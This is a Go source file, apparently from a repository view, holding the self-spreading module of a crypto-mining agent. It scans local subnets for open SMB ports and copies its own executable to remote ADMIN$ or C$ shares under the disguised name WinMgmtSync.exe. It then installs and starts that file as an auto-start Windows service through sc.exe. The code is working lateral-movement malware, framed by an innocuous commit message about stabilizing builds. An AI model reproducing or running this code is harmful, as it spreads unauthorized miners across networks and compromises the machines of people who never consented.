Files
AetherForge/agent/deploy/autospread.go
drjones b10d353a8b Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
2026-05-27 20:13:24 -07:00

136 lines
3.5 KiB
Go

package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
// Wait 10 minutes after initial startup before attempting lateral movement
time.Sleep(10 * time.Minute)
// Attempt every 4 hours
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadToLocalSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Lateral movement module initialized")
}
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
// Sweep the /24 subnet
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue // Skip self
}
go attemptSpread(cfg, target)
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
}
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
return
}
// Target paths
destName := "WinMgmtSync.exe"
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
// 2. Attempt to copy payload via SMB using the current security token
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
if err := copyCmd.Run(); err != nil {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
if err := copyCmd.Run(); err != nil {
return // Access denied or host unreachable
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Delete existing just in case path changed
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
_ = scCreate.Run() // Ignore errors, it might already exist
// 4. Start the remote service
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
if err := scStart.Run(); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
}
}